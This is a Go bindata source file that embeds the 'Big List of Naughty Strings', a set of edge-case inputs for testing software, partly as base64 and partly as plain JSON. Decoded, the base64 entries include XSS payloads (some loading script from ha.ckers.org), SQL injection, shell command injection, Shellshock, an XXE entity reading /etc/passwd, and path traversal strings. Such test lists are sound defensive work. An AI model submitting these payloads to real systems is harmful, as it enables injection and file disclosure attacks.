499 | "PGEgaHJlZj0iamF2YXNjcmlwdHgwOTpqYXZhc2NyaXB0OmFsZXJ0KDEpIiBpZD0iZnV6emVsZW1l",
500 | "bnQxIj50ZXN0PC9hPg==",
501 | "PGEgaHJlZj0iamF2YXNjcmlwdHgwRDpqYXZhc2NyaXB0OmFsZXJ0KDEpIiBpZD0iZnV6emVsZW1l",
502 | "bnQxIj50ZXN0PC9hPg==",
503 | "PGEgaHJlZj0iamF2YXNjcmlwdHgwQTpqYXZhc2NyaXB0OmFsZXJ0KDEpIiBpZD0iZnV6emVsZW1l",
504 | "bnQxIj50ZXN0PC9hPg==",
505 | "YCInPjxpbWcgc3JjPXh4eDp4IHgwQW9uZXJyb3I9amF2YXNjcmlwdDphbGVydCgxKT4=",
506 | "YCInPjxpbWcgc3JjPXh4eDp4IHgyMm9uZXJyb3I9amF2YXNjcmlwdDphbGVydCgxKT4=",
507 | "YCInPjxpbWcgc3JjPXh4eDp4IHgwQm9uZXJyb3I9amF2YXNjcmlwdDphbGVydCgxKT4=",
508 | "YCInPjxpbWcgc3JjPXh4eDp4IHgwRG9uZXJyb3I9amF2YXNjcmlwdDphbGVydCgxKT4=",
509 | "YCInPjxpbWcgc3JjPXh4eDp4IHgyRm9uZXJyb3I9amF2YXNjcmlwdDphbGVydCgxKT4=",
510 | "YCInPjxpbWcgc3JjPXh4eDp4IHgwOW9uZXJyb3I9amF2YXNjcmlwdDphbGVydCgxKT4=",
511 | "YCInPjxpbWcgc3JjPXh4eDp4IHgwQ29uZXJyb3I9amF2YXNjcmlwdDphbGVydCgxKT4=",
512 | "YCInPjxpbWcgc3JjPXh4eDp4IHgwMG9uZXJyb3I9amF2YXNjcmlwdDphbGVydCgxKT4=",
513 | "YCInPjxpbWcgc3JjPXh4eDp4IHgyN29uZXJyb3I9amF2YXNjcmlwdDphbGVydCgxKT4=",
514 | "YCInPjxpbWcgc3JjPXh4eDp4IHgyMG9uZXJyb3I9amF2YXNjcmlwdDphbGVydCgxKT4=",
515 | "ImAnPjxzY3JpcHQ+eDNCamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
516 | "ImAnPjxzY3JpcHQ+eDBEamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
517 | "ImAnPjxzY3JpcHQ+eEVGeEJCeEJGamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
518 | "ImAnPjxzY3JpcHQ+eEUyeDgweDgxamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
519 | "ImAnPjxzY3JpcHQ+eEUyeDgweDg0amF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
520 | "ImAnPjxzY3JpcHQ+eEUzeDgweDgwamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
521 | "ImAnPjxzY3JpcHQ+eDA5amF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
522 | "ImAnPjxzY3JpcHQ+eEUyeDgweDg5amF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
523 | "ImAnPjxzY3JpcHQ+eEUyeDgweDg1amF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
524 | "ImAnPjxzY3JpcHQ+eEUyeDgweDg4amF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
525 | "ImAnPjxzY3JpcHQ+eDAwamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
526 | "ImAnPjxzY3JpcHQ+eEUyeDgweEE4amF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
527 | "ImAnPjxzY3JpcHQ+eEUyeDgweDhBamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
528 | "ImAnPjxzY3JpcHQ+eEUxeDlBeDgwamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
529 | "ImAnPjxzY3JpcHQ+eDBDamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
530 | "ImAnPjxzY3JpcHQ+eDJCamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
531 | "ImAnPjxzY3JpcHQ+eEYweDkweDk2eDlBamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
532 | "ImAnPjxzY3JpcHQ+LWphdmFzY3JpcHQ6YWxlcnQoMSk8L3NjcmlwdD4=",
533 | "ImAnPjxzY3JpcHQ+eDBBamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
534 | "ImAnPjxzY3JpcHQ+eEUyeDgweEFGamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
535 | "ImAnPjxzY3JpcHQ+eDdFamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
536 | "ImAnPjxzY3JpcHQ+eEUyeDgweDg3amF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
537 | "ImAnPjxzY3JpcHQ+eEUyeDgxeDlGamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
538 | "ImAnPjxzY3JpcHQ+eEUyeDgweEE5amF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
539 | "ImAnPjxzY3JpcHQ+eEMyeDg1amF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
540 | "ImAnPjxzY3JpcHQ+eEVGeEJGeEFFamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
541 | "ImAnPjxzY3JpcHQ+eEUyeDgweDgzamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
542 | "ImAnPjxzY3JpcHQ+eEUyeDgweDhCamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
543 | "ImAnPjxzY3JpcHQ+eEVGeEJGeEJFamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
544 | "ImAnPjxzY3JpcHQ+eEUyeDgweDgwamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
545 | "ImAnPjxzY3JpcHQ+eDIxamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
546 | "ImAnPjxzY3JpcHQ+eEUyeDgweDgyamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
547 | "ImAnPjxzY3JpcHQ+eEUyeDgweDg2amF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
548 | "ImAnPjxzY3JpcHQ+eEUxeEEweDhFamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
549 | "ImAnPjxzY3JpcHQ+eDBCamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
550 | "ImAnPjxzY3JpcHQ+eDIwamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
551 | "ImAnPjxzY3JpcHQ+eEMyeEEwamF2YXNjcmlwdDphbGVydCgxKTwvc2NyaXB0Pg==",
552 | "PGltZyB4MDBzcmM9eCBvbmVycm9yPSJhbGVydCgxKSI+",
553 | "PGltZyB4NDdzcmM9eCBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
554 | "PGltZyB4MTFzcmM9eCBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
555 | "PGltZyB4MTJzcmM9eCBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
556 | "PGltZ3g0N3NyYz14IG9uZXJyb3I9ImphdmFzY3JpcHQ6YWxlcnQoMSkiPg==",
557 | "PGltZ3gxMHNyYz14IG9uZXJyb3I9ImphdmFzY3JpcHQ6YWxlcnQoMSkiPg==",
558 | "PGltZ3gxM3NyYz14IG9uZXJyb3I9ImphdmFzY3JpcHQ6YWxlcnQoMSkiPg==",
559 | "PGltZ3gzMnNyYz14IG9uZXJyb3I9ImphdmFzY3JpcHQ6YWxlcnQoMSkiPg==",
560 | "PGltZ3g0N3NyYz14IG9uZXJyb3I9ImphdmFzY3JpcHQ6YWxlcnQoMSkiPg==",
561 | "PGltZ3gxMXNyYz14IG9uZXJyb3I9ImphdmFzY3JpcHQ6YWxlcnQoMSkiPg==",
562 | "PGltZyB4NDdzcmM9eCBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
563 | "PGltZyB4MzRzcmM9eCBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
564 | "PGltZyB4MzlzcmM9eCBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
565 | "PGltZyB4MDBzcmM9eCBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
566 | "PGltZyBzcmN4MDk9eCBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
567 | "PGltZyBzcmN4MTA9eCBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
568 | "PGltZyBzcmN4MTM9eCBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
569 | "PGltZyBzcmN4MzI9eCBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
570 | "PGltZyBzcmN4MTI9eCBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
571 | "PGltZyBzcmN4MTE9eCBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
572 | "PGltZyBzcmN4MDA9eCBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
573 | "PGltZyBzcmN4NDc9eCBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
574 | "PGltZyBzcmM9eHgwOW9uZXJyb3I9ImphdmFzY3JpcHQ6YWxlcnQoMSkiPg==",
575 | "PGltZyBzcmM9eHgxMG9uZXJyb3I9ImphdmFzY3JpcHQ6YWxlcnQoMSkiPg==",
576 | "PGltZyBzcmM9eHgxMW9uZXJyb3I9ImphdmFzY3JpcHQ6YWxlcnQoMSkiPg==",
577 | "PGltZyBzcmM9eHgxMm9uZXJyb3I9ImphdmFzY3JpcHQ6YWxlcnQoMSkiPg==",
578 | "PGltZyBzcmM9eHgxM29uZXJyb3I9ImphdmFzY3JpcHQ6YWxlcnQoMSkiPg==",
579 | "PGltZ1thXVtiXVtjXXNyY1tkXT14W2Vdb25lcnJvcj1bZl0iYWxlcnQoMSkiPg==",
580 | "PGltZyBzcmM9eCBvbmVycm9yPXgwOSJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
581 | "PGltZyBzcmM9eCBvbmVycm9yPXgxMCJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
582 | "PGltZyBzcmM9eCBvbmVycm9yPXgxMSJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
583 | "PGltZyBzcmM9eCBvbmVycm9yPXgxMiJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
584 | "PGltZyBzcmM9eCBvbmVycm9yPXgzMiJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
585 | "PGltZyBzcmM9eCBvbmVycm9yPXgwMCJqYXZhc2NyaXB0OmFsZXJ0KDEpIj4=",
586 | "PGEgaHJlZj1qYXZhJiMxJiMyJiMzJiM0JiM1JiM2JiM3JiM4JiMxMSYjMTJzY3JpcHQ6amF2YXNj",
587 | "cmlwdDphbGVydCgxKT5YWFg8L2E+",
588 | "PGltZyBzcmM9InhgIGA8c2NyaXB0PmphdmFzY3JpcHQ6YWxlcnQoMSk8L3NjcmlwdD4iYCBgPg==",
589 | "PGltZyBzcmMgb25lcnJvciAvIiAnIj0gYWx0PWphdmFzY3JpcHQ6YWxlcnQoMSkvLyI+",
590 | "PHRpdGxlIG9ucHJvcGVydHljaGFuZ2U9amF2YXNjcmlwdDphbGVydCgxKT48L3RpdGxlPjx0aXRs",
591 | "ZSB0aXRsZT0+",
592 | "PGEgaHJlZj1odHRwOi8vZm9vLmJhci8jeD1geT48L2E+PGltZyBhbHQ9ImA+PGltZyBzcmM9eDp4",
593 | "IG9uZXJyb3I9amF2YXNjcmlwdDphbGVydCgxKT48L2E+Ij4=",
594 | "PCEtLVtpZl0+PHNjcmlwdD5qYXZhc2NyaXB0OmFsZXJ0KDEpPC9zY3JpcHQgLS0+",
595 | "PCEtLVtpZjxpbWcgc3JjPXggb25lcnJvcj1qYXZhc2NyaXB0OmFsZXJ0KDEpLy9dPiAtLT4=",
596 | "PHNjcmlwdCBzcmM9Ii8lKGpzY3JpcHQpcyI+PC9zY3JpcHQ+",
597 | "PHNjcmlwdCBzcmM9IlwlKGpzY3JpcHQpcyI+PC9zY3JpcHQ+",
598 | "PElNRyAiIiI+PFNDUklQVD5hbGVydCgiWFNTIik8L1NDUklQVD4iPg==",
599 | "PElNRyBTUkM9amF2YXNjcmlwdDphbGVydChTdHJpbmcuZnJvbUNoYXJDb2RlKDg4LDgzLDgzKSk+",
600 | "PElNRyBTUkM9IyBvbm1vdXNlb3Zlcj0iYWxlcnQoJ3h4cycpIj4=",
601 | "PElNRyBTUkM9IG9ubW91c2VvdmVyPSJhbGVydCgneHhzJykiPg==",
602 | "PElNRyBvbm1vdXNlb3Zlcj0iYWxlcnQoJ3h4cycpIj4=",
603 | "PElNRyBTUkM9JiMxMDY7JiM5NzsmIzExODsmIzk3OyYjMTE1OyYjOTk7JiMxMTQ7JiMxMDU7JiMx",
604 | "MTI7JiMxMTY7JiM1ODsmIzk3OyYjMTA4OyYjMTAxOyYjMTE0OyYjMTE2OyYjNDA7JiMzOTsmIzg4",
605 | "OyYjODM7JiM4MzsmIzM5OyYjNDE7Pg==",
606 | "PElNRyBTUkM9JiMwMDAwMTA2JiMwMDAwMDk3JiMwMDAwMTE4JiMwMDAwMDk3JiMwMDAwMTE1JiMw",
607 | "MDAwMDk5JiMwMDAwMTE0JiMwMDAwMTA1JiMwMDAwMTEyJiMwMDAwMTE2JiMwMDAwMDU4JiMwMDAw",
608 | "MDk3JiMwMDAwMTA4JiMwMDAwMTAxJiMwMDAwMTE0JiMwMDAwMTE2JiMwMDAwMDQwJiMwMDAwMDM5",
609 | "JiMwMDAwMDg4JiMwMDAwMDgzJiMwMDAwMDgzJiMwMDAwMDM5JiMwMDAwMDQxPg==",
610 | "PElNRyBTUkM9JiN4NkEmI3g2MSYjeDc2JiN4NjEmI3g3MyYjeDYzJiN4NzImI3g2OSYjeDcwJiN4",
611 | "NzQmI3gzQSYjeDYxJiN4NkMmI3g2NSYjeDcyJiN4NzQmI3gyOCYjeDI3JiN4NTgmI3g1MyYjeDUz",
612 | "JiN4MjcmI3gyOT4=",
613 | "PElNRyBTUkM9ImphdiBhc2NyaXB0OmFsZXJ0KCdYU1MnKTsiPg==",
614 | "PElNRyBTUkM9ImphdiYjeDA5O2FzY3JpcHQ6YWxlcnQoJ1hTUycpOyI+",
615 | "PElNRyBTUkM9ImphdiYjeDBBO2FzY3JpcHQ6YWxlcnQoJ1hTUycpOyI+",
616 | "PElNRyBTUkM9ImphdiYjeDBEO2FzY3JpcHQ6YWxlcnQoJ1hTUycpOyI+",
617 | "cGVybCAtZSAncHJpbnQgIjxJTUcgU1JDPWphdmEwc2NyaXB0OmFsZXJ0KCJYU1MiKT4iOycgPiBv",
618 | "dXQ=",
619 | "PElNRyBTUkM9IiAmIzE0OyBqYXZhc2NyaXB0OmFsZXJ0KCdYU1MnKTsiPg==",
620 | "PFNDUklQVC9YU1MgU1JDPSJodHRwOi8vaGEuY2tlcnMub3JnL3hzcy5qcyI+PC9TQ1JJUFQ+",
621 | "PEJPRFkgb25sb2FkISMkJSYoKSp+Ky1fLiw6Oz9AWy98XV5gPWFsZXJ0KCJYU1MiKT4=",
622 | "PFNDUklQVC9TUkM9Imh0dHA6Ly9oYS5ja2Vycy5vcmcveHNzLmpzIj48L1NDUklQVD4=",
623 | "PDxTQ1JJUFQ+YWxlcnQoIlhTUyIpOy8vPDwvU0NSSVBUPg==",
624 | "PFNDUklQVCBTUkM9aHR0cDovL2hhLmNrZXJzLm9yZy94c3MuanM/PCBCID4=",
625 | "PFNDUklQVCBTUkM9Ly9oYS5ja2Vycy5vcmcvLmo+",
626 | "PElNRyBTUkM9ImphdmFzY3JpcHQ6YWxlcnQoJ1hTUycpIg==",
627 | "PGlmcmFtZSBzcmM9aHR0cDovL2hhLmNrZXJzLm9yZy9zY3JpcHRsZXQuaHRtbCA8",
628 | "IjthbGVydCgnWFNTJyk7Ly8=",
629 | "PHUgb25jb3B5PWFsZXJ0KCk+IENvcHkgbWU8L3U+",
630 | "PGkgb253aGVlbD1hbGVydCgxKT4gU2Nyb2xsIG92ZXIgbWUgPC9pPg==",
631 | "PHBsYWludGV4dD4=",
632 | "aHR0cDovL2EvJSUzMCUzMA==",
633 | "PC90ZXh0YXJlYT48c2NyaXB0PmFsZXJ0KDEyMyk8L3NjcmlwdD4=",
634 | "MTtEUk9QIFRBQkxFIHVzZXJz",
635 | "MSc7IERST1AgVEFCTEUgdXNlcnMtLSAx",
636 | "JyBPUiAxPTEgLS0gMQ==",
637 | "JyBPUiAnMSc9JzE=",
638 | "JQ==",
639 | "Xw==",
640 | "LQ==",
641 | "LS0=",
642 | "LS12ZXJzaW9u",
643 | "LS1oZWxw",
644 | "JFVTRVI=",
645 | "L2Rldi9udWxsOyB0b3VjaCAvdG1wL2JsbnMuZmFpbCA7IGVjaG8=",
646 | "YHRvdWNoIC90bXAvYmxucy5mYWlsYA==",
647 | "JCh0b3VjaCAvdG1wL2JsbnMuZmFpbCk=",
648 | "QHtbc3lzdGVtICJ0b3VjaCAvdG1wL2JsbnMuZmFpbCJdfQ==",
649 | "ZXZhbCgicHV0cyAnaGVsbG8gd29ybGQnIik=",
650 | "U3lzdGVtKCJscyAtYWwgLyIp",
651 | "YGxzIC1hbCAvYA==",
652 | "S2VybmVsLmV4ZWMoImxzIC1hbCAvIik=",
653 | "S2VybmVsLmV4aXQoMSk=",
654 | "JXgoJ2xzIC1hbCAvJyk=",
655 | "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI/PjwhRE9DVFlQRSBmb28g",
656 | "WyA8IUVMRU1FTlQgZm9vIEFOWSA+PCFFTlRJVFkgeHhlIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFz",
657 | "c3dkIiA+XT48Zm9vPiZ4eGU7PC9mb28+",
658 | "JEhPTUU=",
659 | "JEVOVnsnSE9NRSd9",
660 | "JWQ=",
661 | "JXM=",
662 | "ezB9",
663 | "JSouKnM=",
664 | "Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==",
665 | "Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2hvc3Rz",
666 | "KCkgeyAwOyB9OyB0b3VjaCAvdG1wL2JsbnMuc2hlbGxzaG9jazEuZmFpbDs=",
667 | "KCkgeyBfOyB9ID5fWyQoJCgpKV0geyB0b3VjaCAvdG1wL2JsbnMuc2hlbGxzaG9jazIuZmFpbDsg",
668 | "fQ==",
669 | "PDw8ICVzKHVuPSclcycpID0gJXU=",
670 | "KysrQVRIMA==",
671 | "Q09O",
672 | "UFJO",
673 | "QVVY",
674 | "Q0xPQ0sk",
675 | "TlVM",
676 | "QTo=",
677 | "Wlo6",
678 | "Q09NMQ==",
679 | "TFBUMQ==",
680 | "TFBUMg==",
681 | "TFBUMw==",
682 | "Q09NMg==",
683 | "Q09NMw==",
684 | "Q09NNA==",
685 | "RENDIFNFTkQgU1RBUlRLRVlMT0dHRVIgMCAwIDA=",
686 | "U2N1bnRob3JwZSBHZW5lcmFsIEhvc3BpdGFs",
687 | "UGVuaXN0b25lIENvbW11bml0eSBDaHVyY2g=",
688 | "TGlnaHR3YXRlciBDb3VudHJ5IFBhcms=",
689 | "SmltbXkgQ2xpdGhlcm9l",
690 | "SG9ybmltYW4gTXVzZXVt",
691 | "c2hpdGFrZSBtdXNocm9vbXM=",
692 | "Um9tYW5zSW5TdXNzZXguY28udWs=",
693 | "aHR0cDovL3d3dy5jdW0ucWMuY2Ev",
694 | "Q3JhaWcgQ29ja2J1cm4sIFNvZnR3YXJlIFNwZWNpYWxpc3Q=",
695 | "TGluZGEgQ2FsbGFoYW4=",
696 | "RHIuIEhlcm1hbiBJLiBMaWJzaGl0eg==",
697 | "bWFnbmEgY3VtIGxhdWRl",
698 | "U3VwZXIgQm93bCBYWFg=",
699 | "bWVkaWV2YWwgZXJlY3Rpb24gb2YgcGFyYXBldHM=",
700 | "ZXZhbHVhdGU=",
701 | "bW9jaGE=",
702 | "ZXhwcmVzc2lvbg==",
703 | "QXJzZW5hbCBjYW5hbA==",
704 | "Y2xhc3NpYw==",
705 | "VHlzb24gR2F5",
706 | "RGljayBWYW4gRHlrZQ==",
707 | "YmFzZW1lbnQ=",
708 | "SWYgeW91J3JlIHJlYWRpbmcgdGhpcywgeW91J3ZlIGJlZW4gaW4gYSBjb21hIGZvciBhbG1vc3Qg",
709 | "MjAgeWVhcnMgbm93LiBXZSdyZSB0cnlpbmcgYSBuZXcgdGVjaG5pcXVlLiBXZSBkb24ndCBrbm93",
710 | "IHdoZXJlIHRoaXMgbWVzc2FnZSB3aWxsIGVuZCB1cCBpbiB5b3VyIGRyZWFtLCBidXQgd2UgaG9w",
711 | "ZSBpdCB3b3Jrcy4gUGxlYXNlIHdha2UgdXAsIHdlIG1pc3MgeW91Lg==",
712 | "Um9zZXMgYXJlIBtbMDszMW1yZWQbWzBtLCB2aW9sZXRzIGFyZSAbWzA7MzRtYmx1ZS4gSG9wZSB5",
713 | "b3UgZW5qb3kgdGVybWluYWwgaHVl",
714 | "QnV0IG5vdy4uLhtbMjBDZm9yIG15IGdyZWF0ZXN0IHRyaWNrLi4uG1s4bQ==",
715 | "VGhlIHF1aWMICAgICAhrIGJyb3duIGZvBwcHBwcHBwcHBwd4Li4uIFtCZWVlZXBd",
716 | "UG93ZXLZhNmP2YTZj9i12ZHYqNmP2YTZj9mE2LXZkdio2Y/Ysdix2Ysg4KWjIOClo2gg4KWjIOCl",
717 | "o+WGlw=="
718 | ]`)
719 |
720 | func BlnsBase64JsonBytes() ([]byte, error) {
721 | return _BlnsBase64Json, nil
722 | }
723 |
724 | func BlnsBase64Json() (*asset, error) {
725 | bytes, err := BlnsBase64JsonBytes()
726 | if err != nil {
727 | return nil, err
728 | }
729 |
730 | info := bindataFileInfo{name: "../blns.base64.json", size: 34148, mode: os.FileMode(420), modTime: time.Unix(1548804227, 0)}
731 | a := &asset{bytes: bytes, info: info}
732 | return a, nil
733 | }
734 |
735 | var _BlnsJson = []byte(`[
736 | "",
737 | "undefined",
738 | "undef",
739 | "null",
740 | "NULL",
741 | "(null)",
742 | "nil",
743 | "NIL",
744 | "true",
745 | "false",
746 | "True",
747 | "False",
748 | "TRUE",
749 | "FALSE",
750 | "None",
751 | "hasOwnProperty",
752 | "\\",
753 | "\\\\",
754 | "0",
755 | "1",
756 | "1.00",
757 | "$1.00",
758 | "1/2",
759 | "1E2",
760 | "1E02",
761 | "1E+02",
762 | "-1",
763 | "-1.00",
764 | "-$1.00",
765 | "-1/2",
766 | "-1E2",
767 | "-1E02",
768 | "-1E+02",
769 | "1/0",
770 | "0/0",
771 | "-2147483648/-1",
772 | "-9223372036854775808/-1",
773 | "-0",
774 | "-0.0",
775 | "+0",
776 | "+0.0",
777 | "0.00",
778 | "0..0",
779 | ".",
780 | "0.0.0",
781 | "0,00",
782 | "0,,0",
783 | ",",
784 | "0,0,0",
785 | "0.0/0",
786 | "1.0/0.0",
787 | "0.0/0.0",
788 | "1,0/0,0",
789 | "0,0/0,0",
790 | "--1",
791 | "-",
792 | "-.",
793 | "-,",
794 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999",
795 | "NaN",
796 | "Infinity",
797 | "-Infinity",
798 | "INF",
799 | "1#INF",
800 | "-1#IND",
801 | "1#QNAN",
802 | "1#SNAN",
803 | "1#IND",
804 | "0x0",
805 | "0xffffffff",
806 | "0xffffffffffffffff",
807 | "0xabad1dea",
808 | "123456789012345678901234567890123456789",
809 | "1,000.00",
810 | "1 000.00",
811 | "1'000.00",
812 | "1,000,000.00",
813 | "1 000 000.00",
814 | "1'000'000.00",
815 | "1.000,00",
816 | "1 000,00",
817 | "1'000,00",
818 | "1.000.000,00",
819 | "1 000 000,00",
820 | "1'000'000,00",
821 | "01000",
822 | "08",
823 | "09",
824 | "2.2250738585072011e-308",
825 | ",./;'[]\\-=",
826 | "<>?:\"{}|_+",
827 | "!@#$%^&*()`+"`"+`~",
828 | "\u0001\u0002\u0003\u0004\u0005\u0006\u0007\b\u000e\u000f\u0010\u0011\u0012\u0013\u0014\u0015\u0016\u0017\u0018\u0019\u001a\u001b\u001c\u001d\u001e\u001f",
829 | "",
830 | "\t\u000b\f
",
831 | "`+"\xEF\xBB\xBF"+`",
832 | "`+"\xEF\xBB\xBF"+`",
833 | "",
834 | "Ω≈ç√∫˜µ≤≥÷",
835 | "åß∂ƒ©˙∆˚¬…æ",
836 | "œ∑´®†¥¨ˆøπ“‘",
837 | "¡™£¢∞§¶•ªº–≠",
838 | "¸˛Ç◊ı˜Â¯˘¿",
839 | "ÅÍÎÏ˝ÓÔÒÚÆ☃",
840 | "Œ„´‰ˇÁ¨ˆØ∏”’",
841 | "`+"`"+`⁄€‹›fifl‡°·‚—±",
842 | "⅛⅜⅝⅞",
843 | "ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя",
844 | "٠١٢٣٤٥٦٧٨٩",
845 | "⁰⁴⁵",
846 | "₀₁₂",
847 | "⁰⁴⁵₀₁₂",
848 | "ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็",
849 | "'",
850 | "\"",
851 | "''",
852 | "\"\"",
853 | "'\"'",
854 | "\"''''\"'\"",
855 | "\"'\"'\"''''\"",
856 | "<foo val=“bar” />",
857 | "<foo val=“bar” />",
858 | "<foo val=”bar“ />",
859 | "<foo val=`+"`"+`bar' />",
860 | "田中さんにあげて下さい",
861 | "パーティーへ行かないか",
862 | "和製漢語",
863 | "部落格",
864 | "사회과학원 어학연구소",
865 | "찦차를 타고 온 펲시맨과 쑛다리 똠방각하",
866 | "社會科學院語學研究所",
867 | "울란바토르",
868 | "𠜎𠜱𠝹𠱓𠱸𠲖𠳏",
869 | "表ポあA鷗ŒéＢ逍Üߪąñ丂㐀𠀀",
870 | "Ⱥ",
871 | "Ⱦ",
872 | "ヽ༼ຈل͜ຈ༽ﾉ ヽ༼ຈل͜ຈ༽ﾉ",
873 | "(｡◕ ∀ ◕｡)",
874 | "｀ｨ(´∀｀∩",
875 | "__ﾛ(,_,*)",
876 | "・(￣∀￣)・:*:",
877 | "ﾟ･✿ヾ╲(｡◕‿◕｡)╱✿･ﾟ",
878 | ",。・:*:・゜’( ☻ ω ☻ )。・:*:・゜’",
879 | "(╯°□°）╯︵ ┻━┻)",
880 | "(ﾉಥ益ಥ）ﾉ`+"\xEF\xBB\xBF"+` ┻━┻",
881 | "┬─┬ノ( º _ ºノ)",
882 | "( ͡° ͜ʖ ͡°)",
883 | "😍",
884 | "👩🏽",
885 | "👾 🙇 💁 🙅 🙆 🙋 🙎 🙍",
886 | "🐵 🙈 🙉 🙊",
887 | "❤️ 💔 💌 💕 💞 💓 💗 💖 💘 💝 💟 💜 💛 💚 💙",
888 | "✋🏿 💪🏿 👐🏿 🙌🏿 👏🏿 🙏🏿",
889 | "🚾 🆒 🆓 🆕 🆖 🆗 🆙 🏧",
890 | "0️⃣ 1️⃣ 2️⃣ 3️⃣ 4️⃣ 5️⃣ 6️⃣ 7️⃣ 8️⃣ 9️⃣ 🔟",
891 | "🇺🇸🇷🇺🇸 🇦🇫🇦🇲🇸",
892 | "🇺🇸🇷🇺🇸🇦🇫🇦🇲",
893 | "🇺🇸🇷🇺🇸🇦",
894 | "１２３",
895 | "١٢٣",
896 | "ثم نفس سقطت وبالتحديد،, جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهّل ايطاليا، بريطانيا-فرنسا قد أخذ. سليمان، إتفاقية بين ما, يذكر الحدود أي بعد, معاملة بولندا، الإطلاق عل إيو.",
897 | "בְּרֵאשִׁית, בָּרָא אֱלֹהִים, אֵת הַשָּׁמַיִם, וְאֵת הָאָרֶץ",
898 | "הָיְתָהtestالصفحات التّحول",
899 | "﷽",
900 | "ﷺ",
901 | "مُنَاقَشَةُ سُبُلِ اِسْتِخْدَامِ اللُّغَةِ فِي النُّظُمِ الْقَائِمَةِ وَفِيم يَخُصَّ التَّطْبِيقَاتُ الْحاسُوبِيَّةُ، ",
902 | "test",
903 | "test",
904 | "
test
",
905 | "testtest",
906 | "test",
